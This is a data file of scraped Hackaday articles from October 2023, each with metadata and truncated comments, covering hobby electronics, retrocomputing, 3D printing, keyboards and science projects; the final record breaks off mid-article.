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https://hackaday.com/2023/10/08/blaupunkt-tube-radio-is-the-sultan-of-radios/ | Blaupunkt Tube Radio Is The Sultan Of Radios | Al Williams | [
"Repair Hacks",
"Teardown"
] | [
"blaupunkt",
"tube radio"
] | According to [M Caldeira], the
Blaupunkt Sultan 24300
was one of the last tube radios made in the 1960s. He’s got one but it needed some tender loving care, and you can see how he approaches a restoration like this in the video below.
The radio was actually in better shape physically than most of the old radios we see. It wasn’t perfect, but it looked good on the outside. Electrically, though, it did need some work, and the dial had problems, too. The first obstacle was identifying exactly the model of the radio since there were a number of Sultan radios produced.
Armed with the correct model number, he could find the service documentation. The radio apparently was made for the international market because the service information was in both English and German. It also had a transformer you could configure for different line voltages.
The insides didn’t look too bad, either, although the old printed circuit board was brittle. This video is just part 1 of the troubleshooting and we hope to see some more video soon. But it was great to see inside what looked like a premium tube radio from the 1960s and we can’t wait to hear it working again. | 16 | 5 | [
{
"comment_id": "6689703",
"author": "catholic - in purr we trust",
"timestamp": "2023-10-08T14:45:59",
"content": "Can’t ressist must watch the video because of the cat in the background. Thank god it’s only 48 seconds. :-D",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"co... | 1,760,372,142.62365 | ||
https://hackaday.com/2023/10/08/marionette-3d-printer-replaces-linear-rails-with-string/ | Marionette 3D Printer Replaces Linear Rails With String | Danie Conradie | [
"3d Printer hacks"
] | [
"cable mechanism",
"pulleys",
"reprap"
] | In the early days of FDM 3D printing, the RepRap project spawned all sorts of weird and and wonderful designs. In the video after the break [dizekat] gives us a throwback to those times with the
Marionette 3D printer
, completely forgoing linear rails in favor of strings.
The closest thing to a linear guide found on the Marionette is a pane of glass against which the top surface of the print head slides. A pair of stepper motors drive the printhead in the XY-plane, similar in concept to the
Maslow CNC router
, but in this case two more strings are required to keep the mechanism in tension. To correctly adjust the length of the string across the full range of motion, [dizekat] uses a complex articulating pulley mechanism that we haven’t seen before. The strings are also angled slightly downward from the spool to the print head, holding it in place against the glass.
The bed print bed is also suspended and constrained using string, with no rigid mechanical member attaching it to the frame of the printer. Six strings connected to the sides and bottom of the bed frame constrain it in 6-DOF, and pass through another pulley arrangement to three more strings and finally to a single stepper driven belt.
We can’t see any particular advantage to forgoing the linear rails, especially when the mechanisms have to be this complex, but it certainly make for an interesting engineering challenge. Whatever the reason, the end result is fascinating to watch move, and the print quality even looks decent.
One practical advantage to some cable-based 3d printers is on the large scale, where it can
turn an entire room into usable print volume
. | 28 | 12 | [
{
"comment_id": "6689673",
"author": "Foldi-One",
"timestamp": "2023-10-08T11:30:13",
"content": "Bonkers, but brilliantly different. It seems excessively complex, but I can’t immediately see any way to simplify it while using the same string concept.I can however think of one reason this idea might... | 1,760,372,142.892256 | ||
https://hackaday.com/2023/10/08/polish-up-your-product-with-graphic-overlays/ | Polish Up Your Product With Graphic Overlays | Donald Papp | [
"how-to"
] | [
"acrylic panel",
"custom printing",
"desktop manufacturing",
"enclosure",
"graphic overlay",
"label"
] | [Kevin Hunckler] recently did some in-house manufacturing for a product and shared his experiences in
adding high-quality custom graphic overlays or acrylic panels
to give the finished units a professional look. The results look great and were easy to apply, making his product more attractive without needing much assembly work.
A graphic overlay with transparent areas, a cutout, and adhesive backing to fit an off-the-shelf Hammond enclosure.
Sadly, when doing initial research he was disappointed to find very little information on the whole process. While in the end it isn’t terribly complex, it still involved a lot of trial and error before he zeroed in on what the suppliers in the industry expect. Fortunately, everything can be done with tools most hackers probably already have access to.
The process seems to us somewhat reminiscent of having PCBs manufactured. One defines the product housing, outlines the overlay, creates the artwork, defines an adhesive layer, and makes a design document explaining each layer and important feature. [Kevin] provides examples of his work, one of which fits an off-the-shelf Hammond enclosure.
Professionally-made acrylic panels or graphic overlays is something worth keeping in mind for hobbyists and those who might engage in desktop manufacturing, as long as the costs are acceptable. Rather like PCBs, costs go down as quantities go up. [Kevin]’s 50 mm x 50 mm overlay cost about 1 USD each in quantity 200, but only 0.50 USD each when buying 500.
These may be great for low or middling quantities, but that doesn’t mean one is out of options for prototypes or micro quantities. We have seen
fantastic results adding full-color images to 3D prints
, and even using a 3D printer to
draw labels directly onto prints
. | 17 | 6 | [
{
"comment_id": "6689670",
"author": "Thomas Shaddack",
"timestamp": "2023-10-08T10:22:16",
"content": "A good and not that much laborious way is using laser-engraving.Take an acrylic sheet. Spraypaint it black from the back side. Engrave through the paint. Fill the grooves with white (or other) pai... | 1,760,372,142.684346 | ||
https://hackaday.com/2023/10/07/designing-a-macintosh-to-vga-adapter-with-an-lm1881/ | Designing A Macintosh-to-VGA Adapter With An LM1881 | Maya Posch | [
"Retrocomputing",
"Reverse Engineering"
] | [
"macintosh",
"sync",
"vga",
"video"
] | Old-school Macintosh-to-VGA adapter. Just solve for X, set the right DIP switches and you’re golden.
If you’re the happy owner of a vintage Apple system like a 1989 Macintosh IIci you may know the pain of keeping working monitors around. Unless it’s a genuine Apple-approved CRT with the proprietary DA-15-based video connector, you are going to need at least an adapter studded with DIP switches to connect it to other monitors. Yet as [Steve]
recently found out
, the Macintosh’s rather selective use of video synchronization signals causes quite a headache when you try to hook up a range of VGA-equipped LCD monitors. A possible solution? Extracting the sync signal using a Texas Instruments
LM1881 video sync separator
chip.
Much of this trouble comes from the way that these old Apple systems output the analog video signal, which goes far beyond the physical differences of the DA-15 versus the standard DE-15
D-subminiature
connectors. Whereas the VGA standard defines the RGB signals along with a VSYNC and HSYNC signal, the Apple version can generate HSYNC, VSYC, but also CSYNC (composite sync). Which sync signal is generated depends on what value the system reads on the three sense pins on the DA-15 connector, as a kind of crude monitor ID.
Theoretically this should be easy to adapt to, you might think, but the curveball Apple throws here is that for the monitor ID that outputs both VSYNC and HSYNC you are limited to a fixed resolution of 640 x 870, which is not the desired 640 x 480. The obvious solution is then to target the one monitor configuration with this output resolution, and extract the CSYNC (and sync-on-green) signal which it outputs, so that it can be fudged into a more VGA-like sync signal. Incidentally, it seems that [Steve]’s older Dell 2001FP LCD monitor does support sync-on-green and CSYNC, whereas newer LCD monitors no longer list this as a feature, which is why now more than a passive adapter is needed.
Although still a work-in-progress, so far [Steve] has managed to get an image on a number of these newer LCDs by using the LM1881 to extract CSYNC and obtain a VSYNC signal this way, while using the CSYNC as a sloppy HSYNC alternative. Other ICs also can generate an HSYNC signal from CSYNC, but those cost a bit more than the ~USD$3 LM1881. | 3 | 3 | [
{
"comment_id": "6689654",
"author": "Markus",
"timestamp": "2023-10-08T06:47:27",
"content": "This solution works brilliantly. I used it in the early 2000s to interface with a Mac IIsi that otherwise refused to work with a VGA monitor. Even though the $3 sound cheap I had a rather hard time to get ... | 1,760,372,142.77593 | ||
https://hackaday.com/2023/10/09/the-ultimate-us-astronomy-roadtrip/ | The Ultimate US Astronomy Roadtrip | Adam Zeloof | [
"Space"
] | [
"astronomy",
"observatory",
"space",
"telescope"
] | Have 73 hours to kill and fancy a 4,609-mile road trip? Then you can check out some of the best observatories in the US (although we would probably recommend taking a couple of weeks rather than cramming the trip into three days, so you can spend at least one night stargazing at each).
Matador Network compiled a list of what they call the top ten US observatories
, and published the daunting map you see above. Even if your trip is plagued by cloudy skies, rest assured the destinations will still be worth a visit. From Arizona’s Lowell Observatory, where the evidence Edwin Hubble used to formulate the Big Bang Theory was collected, to the Green Bank National Radio Observatory in West Virginia, home of Earth’s largest fully-steerable radio telescope, each site has incredibly rich history.
All of the observatories are open to the public in some way or another, but some are only accessible a few days per month, so make sure you plan your trip carefully! You may even want to travel with your own
homemade telescope
,
Game Boy astrphotography rig
, or, if you’re
really
dedicated,
portable radio telescope
.
[googlemaps
https://www.google.com/maps/d/embed?mid=1L71ogpZmOaN7JQC-uKR37TVvEXMtevw&ehbc=2E312F&w=640&h=480%5D | 10 | 7 | [
{
"comment_id": "6689940",
"author": "Xylo",
"timestamp": "2023-10-09T18:54:32",
"content": "They missed The Owens Valley Radio Observatory which has monthly public tours:https://www.ovro.caltech.edu/",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689949",
... | 1,760,372,142.730593 | ||
https://hackaday.com/2023/10/09/keebin-with-kristina-the-one-with-the-arboreal-keyboards/ | Keebin’ With Kristina: The One With The Arboreal Keyboards | Kristina Panos | [
"Hackaday Columns",
"Peripherals Hacks",
"Slider"
] | [
"George Blickensderfer",
"keyboard journey",
"rare pepe",
"stream deck",
"wooden keyboard"
] | Well, unfortunately we don’t know much yet about
this nice wooden keyboard from [Kelvin Chow]
, but maybe this inclusion will encourage [Kelvin] to post more about it.
Sure is nice-looking, don’t you think? That’s because there some great details at play here, like the legend-less two-tone keycaps and the neat-o locking box it sits in.
This keyboard is inspired by the Hacoa Ki-board, which uses a singles plank of wood to craft the keycaps. [Kelvin] wanted to try this technique for themselves. Evidently this won’t be the last wooden keyboard, so stay tuned for more over on Hackaday.io.
This isn’t the first dead-tree keyboard we’ve seen around here, either. A while back
we saw one with Scrabble tile keycaps
, and earlier this year,
a nice wooden macro pad
.
One Person’s Keyboard Journey
Big thanks to [quinor] for this tip. I present to you
[tslil clingman]’s keyboard journey so far
. I love a good progression story, as we all have them on our way to whatever we consider end game on any given day.
It all started with an Atreus kit, which [tslil] modified with sweet-looking 3D-printed keycaps and a laser-cut case. This worked well for many years until the layout started bothering [tslil]’s wrists.
Then it was on to the dactyl manuform mini shown here, which [tslil] printed in wood PLA and sanded to arboreal perfection. But this had too many keys, so it was back to the drawing board, or the finger-painting board as it were. This time around, [tslil] dipped their fingers in paint in order to create the perfect layout.
You’d think that would be the end game, but no. Being hand-wired, it was simply too fragile. So in the latest version, [tslil] designed their own PCBs. The particularly interesting thing here is the keymap, which was
chosen algorithmically based on certain metrics
. Oh, and an honorable mention goes to that art deco clock at the bottom.
The Centerfold: Just Another Day At the Office
Finally,
we have a gallery centerfold
, and the first picture is a teensy bit NSFW, so hold on to your hats or whatever.
Now obviously,
this is not your normal office
, this is a some kind of cool traveling setup. One that others can’t avoid seeing all the time. While I don’t agree with the ergonomics of this setup like, at all, I really dig that Yellow Submarine-art-meets-old-school-cartoon aesthetic of the (sold out)
desk pad
, and I love that [coalxxx] doesn’t give a care that it doesn’t quite fit.
Do you rock a sweet set of peripherals on a screamin’ desk pad?
Send me a picture
along with your handle and all the gory details, and you could be featured here!
Historical Clackers: The Blickensderfer No. 5
Check out those modern legends. Image via
The Antikey Chop
A couple of installments ago
, I told you about the stunning Crandall New Model, which bore a removable type element sleeve that allowed the use of different typefaces.
At the time, I speculated that it was the inspiration for the IBM Selectric’s awesome little golf ball element. But between the two in time lies
the Blickensderfer
series with their cylindrical type elements.
Blickensderfer typewriter design radically reduced the complexity of the typewriter, bearing 250 parts compared to the 2,500 parts of the average machine.
As with all Blickensderfer typewriters, the No. 5 bore the scientifically-chosen DHIATENSOR layout. A study of the English language showed that 70% of written text and 85% of words contained the letters ‘DHIATENSOR’, and thus this became the home row, albeit on the bottom. Those who use DHIATENSOR today put it on the middle row.
ICYMI: DIY Stream Deck Takes No Shortcuts
No,
the OpenDeck
isn’t a commercial product, although
you can buy one from Tindie
when they’re back in stock.
[Josh R] designed this to be a cheaper alternative to the various stream decks out there, and I think it looks fantastic by comparison. And based on the demo video, it works just as well as they do.
Under the hood is an ESP8266 Wemos D1 Mini V4, which is part of the spec
if you’re interested in building your own
. So is the screen, which must be a 128 x 160 TFT so it can line up with the frame that divides it into four. If you ask me, the carbon fiber should be mandatory as well, because that is just slick.
Got a hot tip that has like, anything to do with keyboards?
Help me out by sending in a link or two
. Don’t want all the Hackaday scribes to see it? Feel free to
email me directly
. | 6 | 4 | [
{
"comment_id": "6689933",
"author": "BlueCollarCritic",
"timestamp": "2023-10-09T18:23:13",
"content": "It’s a beautiful looking board but how practical is it? I’ve seen many a gorgeous looking custom keyboard but typically they’re only good for looking at and are impractical to use on a regular ba... | 1,760,372,142.567508 | ||
https://hackaday.com/2023/10/09/ordering-pizza-while-racing/ | Ordering Pizza While Racing | Matthew Carlson | [
"gps hacks",
"Software Hacks"
] | [
"amazon web services",
"automated delivery",
"AWS",
"gps tracker",
"Pizza",
"RACE"
] | As [Matt Stele] prepared to bike a local 300-mile (~480km) race in addition to training, he had to prepare for food. A full day of riding was ahead on gravel trails, and one of the best options for him was Casey’s General Store pizza. However, as it was a race, other riders were much faster than him. So, all the hot slices were gone when he arrived. With the help of a serverless GPS tracker, some cloud lambdas, and some good old-fashioned web scraping, [Matt] had a system
that could order him a fresh pizza at the precise moment he needed
.
Each racer has a SPOT satellite GPS tracker, which emits GPS pings every 5 minutes, ingressed by an AWS lambda (
code for that here
). This provides geofences that can fire events that can, in turn, spin up lambdas. Since the resources aren’t persistent, the cloud bill runs around 77 cents a month. However, [Matt’s] journey wasn’t over yet. Ordering a pizza and sending push notifications to his watch was quite challenging. With no easily documented API, he opted to use a web scraper. However, as Casey’s website uses React, this meant that [Matt] needed a powerful scraping agent. After struggling,
he managed to get Playwright
, a chromium-based agent working in lambda.
At mile 180 (~290km), [Matt] got the notification from the pizza order on his watch. However, not all were roses. At Casey’s, there was no pizza waiting for him or record of the order. A quick check of the account showed no record of the order. Scratching his head as to what went wrong, he modified the system to record a video of the checkout process. To his surprise, this worked. His theory is that without saving the video, the lambda function shut down as soon as the form was submitted without giving it time to send the form request.
Could [Matt] have just called ahead? Yes. Would it have been nearly as good? Not even close. However, it’s a great lesson on testing before trying to put something into production. | 6 | 4 | [
{
"comment_id": "6689904",
"author": "jbx",
"timestamp": "2023-10-09T15:57:04",
"content": "It’s a good idea but it’s still technology serving junk food : better order spaghettis with parmesan.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689916",
... | 1,760,372,142.819874 | ||
https://hackaday.com/2023/10/09/use-your-old-slr-as-a-digital-camera/ | Use Your Old SLR As A Digital Camera? | Jenny List | [
"digital cameras hacks"
] | [
"3.5mm",
"digital camera",
"digital upgrade",
"film camera"
] | Back in the late 1990s as the digital revolution overtook photography there were abortive attempts to develop a digital upgrade for 35mm film cameras. Imagine a film cartridge with attached sensor, the idea went, which you could just drop into your trusty SLR and continue shooting digital. As it happened they never materialised and most film SLRs were consigned to the shelf. So here in 2023 it’s a surprise to find an outfit called I’m Back Film promising
something very like a 35mm cartridge with an attached sensor
.
The engineering challenges are non-trivial, not least that there’s no standard for distance between reel and exposure window, and there’s next-to-no space at the focal plane in a camera designed for film. They’ve solved it with a 20 megapixel Micro Four Thirds sensor which gives a somewhat cropped image, and what appears to be a ribbon cable that slips between the camera back and the body to a box which screws to the bottom of the camera. It’s not entirely clear how they solve the reel-to-window distance problem, but we’re guessing the sensor can slide from side to side somehow.
It’s an impressive project and those of us who shot film back in the day can’t resist a bit of nostalgia for our old rigs, but we hope it hasn’t arrived too late. Digital SLRs are ubiquitous enough that anyone who wants one can have one, and meanwhile the revival in film use has given many photographers a fresh excuse to use their old camera the way it was originally intended. We’ll soon see whether it catches on though — the crowdsourcing campaign for the project will be starting in a few days.
Oddly
this isn’t the first such project we’ve seen
, though it is the first with a usable-size sensor. | 43 | 21 | [
{
"comment_id": "6689859",
"author": "john A ferguson",
"timestamp": "2023-10-09T11:31:04",
"content": "Shutter release solution needs more work.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689867",
"author": "alex",
"timestamp": "2023-10-09T12:30:... | 1,760,372,143.186966 | ||
https://hackaday.com/2023/10/09/3d-printed-mini-drone-test-gimbal/ | 3D Printed Mini Drone Test Gimbal | Richard Baguley | [
"drone hacks"
] | [
"crazyflie",
"drone",
"gimbal",
"multirotor",
"quadcopter"
] | Drones are a pain, especially mini ones. When you are designing, building (or even reviewing) them, they inevitably fly off in some random direction, inevitably towards your long-suffering dog, hit him in the butt and send him scuttling off in search of a quieter spot for a nap.
[Tristan Dijkstra] and [Suryansh Sharma] have a solution: a
mini-drone test gimbal
. The two are in the the
Networked Systems group
and the
Biomorphic Intelligence Lab
who use CrazyFlie drones in their work, which require regular calibration and testing. This excellent design allows the drone to rotate in three dimensions, while still remaining safely contained. That means I could test the flight characteristics of a drone without endangering my dogs important napping schedule.
Efforts involved attaching a light tether that restricts the drone until we know how the it flies, but what usually happens is that the tether gets trapped in a rotor, or the tether gets tight and the drone freaks out and crashes into the ground.
Using a gimbal is far more elegant, because it allows the drone to rotate freely in three dimensions, so the basic features of the drone can be established before you let it loose in the skies.
The gimbal was designed with the CrazyFlie in mind, but as there’s nothing more exotic holding the craft down than a zip tie, it should work with similarly sized quadcopters. | 4 | 4 | [
{
"comment_id": "6689836",
"author": "pelrun",
"timestamp": "2023-10-09T09:01:06",
"content": "It’s the Matrix, but for drones instead of humans!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689887",
"author": "Imqqmi",
"timestamp": "2023-10-09T14:0... | 1,760,372,143.054058 | ||
https://hackaday.com/2023/10/08/pushing-the-boundaries-of-tiny-mechanical-devices-with-compliant-mechanisms/ | Pushing The Boundaries Of Tiny Mechanical Devices With Compliant Mechanisms | Maya Posch | [
"Science",
"Toy Hacks"
] | [
"compliant mechanism",
"nerf blaster"
] | Mechanical actions underlie much of what makes modern day society function, whether it’s electric motors, combustion engines, switches, levers, or the springs inside a toy blaster gun that propel foam darts at unsuspecting siblings. Yet as useful as it would be to scale such mechanisms down to microscopic levels, this comes with previously minor issues on a macroscopic scale, such as friction and mechanical strength, becoming quickly insurmountable. Or to put in more simple terms, how to make a functioning toy blaster gun small enough to be handled by ants? This is the topic which [Mark Rober] explores
in a recent video
.
The answer is to use a single structure that comprises not only the frame of the blaster, but also the spring mechanism that stores the mechanical energy and the trigger mechanism. This is referred to as a compliant mechanism (CM), and [Mark] collaborated with Brigham Young University (BYU) and its
Compliant Mechanism Research group
in order to design a suitable CM for an ant-sized blaster gun. After a few design iterations a version was created that’s also been
released on Thingiverse
as STL files.
Creating a mechanism using a single strand of DNA and scaffolding that binds to its opposing pattern, forcing the base DNA string to maintain a specific shape.
Naturally, this version can be created fairly easily by anyone who has access to an FDM or SLA 3D printer, but where things get interesting is when the model gets scaled down further and created out of carbon nanotubes (CNTs). This CNT version is pictured in the image at the top, and can only be manipulated using precision instruments as shaky mammalian hands would utterly destroy it. Even so, if used correctly, it can still shoot a projectile just like its much larger brethren.
Upping the ante even further is the self-assembling version out of DNA. For this
scanning tunneling microscope
-sized version of the outline of the blaster, [Mark] went to the
Salk Institute for Biological Studies
. Named after the famous Jonas Salk, this institute is at the forefront of biomedicine, following in the footsteps of Dr. Salk.
Here is where Salk Institute researchers demonstrated a technique where one side of a DNA chain can be selectively supported with supports that are coated with matching ACGT molecules. When added together in a solution, these will self-assemble into a structure that does absolutely not match the famous DNA helix shape, but can instead be used to create structures at will, possibly even compliant mechanisms that can one day be used in medical science.
Although it’s hard to say when our T-cells will be using molecule-sized blaster guns to take out threats, or medicine delivered with tiny darts from nanobots, there’s a good chance that some form of compliant mechanism will be involved. | 12 | 5 | [
{
"comment_id": "6689811",
"author": "Mike Massen",
"timestamp": "2023-10-09T05:12:10",
"content": "Yowsah, fascinating, I wonder if we could exploit this for self operated dentistry :-)Thanks for posting",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "668993... | 1,760,372,143.105927 | ||
https://hackaday.com/2023/10/08/who-needs-sea-monkeys-get-planktoscope/ | Who Needs Sea Monkeys? Get PlanktoScope | Al Williams | [
"Science"
] | [
"citizen science",
"microscope",
"oceanography",
"plankton"
] | Plankton are tiny organisms that drift around in the ocean. They aren’t just whale food — they are responsible for fixing up to 50% of the world’s carbon dioxide. That, along with their position as the base of many important food chains, makes them interesting to science. Unfortunately, they are tiny and the ocean is huge. Enter
Planktoscope
. Billed as “an affordable modular quantitative imaging platform for citizen oceanography,” the device is a software-controlled microscope with the ability to deal with samples flowing through.
The software is in Python
and uses existing libraries for user interface, image processing, and other tasks. The computing hardware is in the form of a Raspberry Pi. There are actually two prototypes of PlanktoScope available.
To give you an idea about the capabilities of the device, one test used a 25mm and 16mm lens coupled with a 3280×2464 pixel image sensor. The field of view was 2,300 microns wide by 1,730 microns high. The flow cell pumps about 0.8 microliters of fluid, stops, and takes an image, handling about 48 microliters per minute. You can see a brief video of the device in action below.
Plankton can be
powerful
— literally. For some people, it is even
an artistic muse
. | 10 | 6 | [
{
"comment_id": "6689808",
"author": "Saint Aardvark the Carpeted",
"timestamp": "2023-10-09T04:27:59",
"content": "A couple things:* The project website is athttps://www.planktoscope.org.* Detailed assembly instructions are athttps://planktoscope.github.io/PlanktoScope/* In the paper, they compare ... | 1,760,372,143.237388 | ||
https://hackaday.com/2023/10/07/sine-wave-speech-demonstrates-an-auditory-one-way-door/ | Sine-wave Speech Demonstrates An Auditory One-way Door | Donald Papp | [
"Science"
] | [
"audio",
"illusion",
"praat",
"research",
"sine-wave speech"
] | Sine-wave speech can be thought of as a sort of auditory illusion, a sensory edge case in which one’s experience has a clear “before” and “after” moment, like going through a one-way door.
Sine-wave speech (SWS) is intentionally-degraded audio.
Here are the samples
, and here’s what to do:
Choose a sample and listen to the sine-wave speech version (SWS). Most people will perceive an unintelligible mix of tones and beeps.
Listen to the original version of the sentence.
Now listen to the SWS version again.
Most people will hear only some tones and beeps when first listening to sine-wave speech. But after hearing the original version once, the SWS version suddenly becomes intelligible (albeit degraded-sounding).
These samples were originally part of research by [
Chris Darwin
] into speech perception, but the curious way in which one’s experience of a SWS sample can change is pretty interesting. The idea is that upon listening to the original sample, the brain — fantastic prediction and learning engine that it is — now knows better what to expect, and applies that without the listener being consciously aware. In fact, if one listens to enough different SWS samples, one begins to gain the ability to understand the SWS versions
without
having to be exposed to the originals. In his recent book
The Experience Machine: How Our Minds Predict and Shape Reality
, Andy Clark discusses how this process may be similar to how humans gain fluency in a new language, perceiving things like pauses and breaks and word forms that are unintelligible to a novice.
This is in some ways similar to the
“Green Needle / Brainstorm” phenomenon
, in which a viewer hears a voice saying either “green needle” or “brainstorm” depending on which word they are primed to hear. We’ve also previously seen other auditory strangeness in which the brain perceives ever-increasing tempo in music that isn’t actually there (the
Accelerando Illusion
, about
halfway down the list in this post
.)
Curious about the technical details behind sine-wave speech, and how it was generated? We sure hope so, because we can point you to
details on SWS
as well as to the (free)
Praat
software that [Chris] used to generate his samples, and
the Praat script he wrote
to actually create them. | 41 | 23 | [
{
"comment_id": "6689622",
"author": "rnjacobs",
"timestamp": "2023-10-08T02:03:50",
"content": "Kinda reminds me of Silbo Gomero (q.v. wikipedia)",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689623",
"author": "Dr.",
"timestamp": "2023-10-08T02:19:... | 1,760,372,143.382449 | ||
https://hackaday.com/2023/10/07/implementing-commodores-iec-bus-protocol-on-a-kim-1-single-board-computer/ | Implementing Commodore’s IEC Bus Protocol On A KIM-1 Single Board Computer | Maya Posch | [
"computer hacks",
"Retrocomputing"
] | [
"Commodore IEC",
"commodore kim-1",
"kim-1"
] | Although the PET is most likely the more well-known of Commodore’s early computer systems, the KIM-1 (Keyboard Input Monitor) single board computer was launched a year prior, in 1976. It featured not only the same MOS 6502 MPU as later Commodore systems, but also an MCS6530 PIO IC that contained the ROM, RAM and programmable I/O, reminiscent of later I/O chips on Commodore systems. As the KIM-1 was only designed to be used with an external tape drive (and a terminal for fancy users), adding a floppy drive like the ubiquitous 1541 with its IEC bus interface was not a first-party accessory. How the IEC bus can be retrofitted to a KIM-1 system is
demonstrated in this video
by the Commodore History channel.
The Commodore KIM-1 hardware is almost directly compatible with the C64 hardware. (Credit: Commodore History on YouTube)
What is most notable is just how similar the
KIM-1 hardware
is to later PET and VIC hardware, with the CIA and PIO ICs featuring the same requisite pins for this purpose, and requiring only the addition of an inverting (SN7406) IC and an EPROM featuring the new code to support the proprietary Commodore IEC bus protocol, which was mostly pilfered byte-for-byte from a C64 kernal ROM.
With some creative breadboarding in place and using nothing more than the on-board LED display and keyboard matrix, it was then possible to write to the inserted floppy disk, and also to read back from it. What’s interesting here is that this essentially replaces the tape drive as target for the KIM-1, which thus retains a lot of the original functionality, but with a big performance boost. While perhaps only interesting as an academic exercise, it’s definitely an interesting look at the early beginnings of what would blossom into the Commodore 64.
Thanks to [Stephen Walters] for the tip. | 3 | 3 | [
{
"comment_id": "6689620",
"author": "Gösta",
"timestamp": "2023-10-08T01:33:45",
"content": "I love this stuff :-) Of course the vic20 and vic64, which i loved, can be traced to somewhere :-)",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689633",
"autho... | 1,760,372,143.298129 | ||
https://hackaday.com/2023/10/07/playing-the-guitar-of-doom/ | Playing The Guitar Of DOOM | Kristina Panos | [
"Games",
"Musical Hacks"
] | [
"doom",
"doom controller",
"guitar",
"midi"
] | Over the years, we’ve seen DOOM run on pretty much everything from an 8088 to a single keycap. We’ve also written up one or two controllers, but we don’t think we’ve ever seen anything like this —
playing DOOM with an electric guitar
.
The guitar in question is a Schecter Hellraiser Deluxe, which seems like a great choice to us. In order to get the notes to control the game, [DOS Storm] converted a handful of notes to MIDI using a VST plugin called Dodo MIDI 2 and the Reaper DAW. Then it was a matter of converting MIDI to keystrokes. This took two programs — loopMIDI to do take the MIDI data and route it elsewhere, and MIDIKey2Key to actually convert the MIDI to the keystrokes that control DOOM.
The result is that the notes that move Doomguy around are mostly in an A-major bar chord formation, with some controls up in the solo range of the fret board. Be sure to check out the demo video below and watch [DOS Storm] clear level one in a fairly impressive amount of time, considering their controller is a guitar.
That
key cap
isn’t even the most ridiculous thing we’ve seen DOOM running on. It’s probably a toss-up between that and
the LEGO brick
.
Via
adafruit | 7 | 5 | [
{
"comment_id": "6689587",
"author": "DavidO",
"timestamp": "2023-10-07T20:29:47",
"content": "Isn’t he that guy from Mad Max?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689659",
"author": "70sjukebox",
"timestamp": "2023-10-08T08:33:00"... | 1,760,372,143.451668 | ||
https://hackaday.com/2023/10/07/hats-off-to-another-weird-keyboard-from-google-japan/ | Hats Off To Another Weird Keyboard From Google Japan | Kristina Panos | [
"Microcontrollers",
"Peripherals Hacks"
] | [
"keyboard",
"M5stickC",
"micro switch"
] | As portable as keyboards have gotten, you still need some place to put the thing — some kind of bag for travel, and a flat surface for using it. Well, it doesn’t get much more portable than a hat keyboard, now does it?
Every October 1st, Google Japan likes to celebrate the 101-key keyboard by building something revolutionary off the top of their heads. (10/1… 101… get it?) This year was no exception — they created
the GCAPS
, a ballcap-like device with a single switch inside.
In order to use it, you spin the hat left and right until the desired character is reached, and the rotation is detected by a gyroscope. Then you press down on the top of the hat to send the key codes via Bluetooth.
Under the hood, the hat uses an M5Stick C Plus and, to our dismay, a micro switch that wasn’t even made by Cherry. Oh well — we landed on the clicky side, so that’s great in our book. Surprisingly, there exists
a skull cap/hat skeleton thing
on which to build a platform for pressing down on the switch. Just like the
teaboard
and
the long boi
keyboards, this thing is completely open source.
Since it types in Japanese, there’s no word on whether it types in all caps, though we like to think that it would given the object it represents. Be sure to check out the product reveal video after the break. | 10 | 8 | [
{
"comment_id": "6689563",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-07T17:07:41",
"content": "Open Source?Google is going to regret that when this becomes a big hit!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689601",
... | 1,760,372,143.622627 | ||
https://hackaday.com/2023/10/07/try-it-out/ | Try It Out | Elliot Williams | [
"Hackaday Columns",
"News",
"PCB Hacks",
"Rants"
] | [
"EDA tools",
"newsletter",
"PCB design"
] | It’s like Star Wars versus Star Trek at a SciFi convention, or asking creamy or chunky at the National Peanut Butter Appreciation Festival. (OK, we made that one up.) When
Jenny reviewed the 1.0 version of LibrePCB
, it opened the floodgates. Only on Hackaday!
Of course it makes sense that in a community of hardware hackers, folks who are not unfamiliar with the fine art and engineering of designing their own PCBs, have their favorite tools. Let’s face it, all PCB design software is idiosyncratic, and takes some learning. But the more fluent you are with your tool of choice, the more effort you have invested in mastering it, leading to something like the
sunk-cost phenomenon
: because you’ve put so much into it, you can’t think of leaving it.
The beauty of open-source software tools is that there’s almost nothing, aside from your own psychology, stopping you from picking up another PCB program, kicking the proverbial tires with a simple design, and seeing how it works for you. That’s what Jenny did here, and what she’s encouraged me to do. Whether it’s beginner-friendly
Fritzing
(also recently in version 1.0), upstarts LibrePCB or
Horizon EDA
, heavyweight champion
KiCAD
, or the loose-knit conglomeration of tools in
coralEDA
, you have enough choices that something is going to fit your PCB hand like a glove.
I certainly wouldn’t risk a swap up to a new tool on something super complicated, or something with a tight deadline, but why not start up a fun project to test it out? Maybe follow Tom Nardi’s lead and
make a Simple Add-on
, for a badge or just as a blinky to put on your desk? Don’t be afraid to try something new!
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 21 | 9 | [
{
"comment_id": "6689535",
"author": "Pinhead BE",
"timestamp": "2023-10-07T14:15:40",
"content": "Is it only me, but both Windows Defender and Kaspersky prevent me from installing it, mentionning a malware ?",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689... | 1,760,372,143.520839 | ||
https://hackaday.com/2023/10/07/control-tricks-for-tailsitters/ | Control Tricks For Tailsitters | Danie Conradie | [
"drone hacks"
] | [
"dRehmFlight",
"Teensy 4.0",
"vtol"
] | An RC VTOL aircraft always makes for a compelling project, but ensuring the transition between hover and forward flight can be quite challenging. In the video after the break,
[Nicholas Rehm] demystifies of the flight control algorithm
required for a VTOL tailsitter.
Tailsitters
are one of the simplest VTOL arrangements, the testbed here being a simple foam
KF airfoil
wing with two motors and two servo-controlled elevons. As with almost all his projects [Nicholas], uses of his open-source
dRehmFlight
flight controller to demonstrate the practical implementation of the control algorithm.
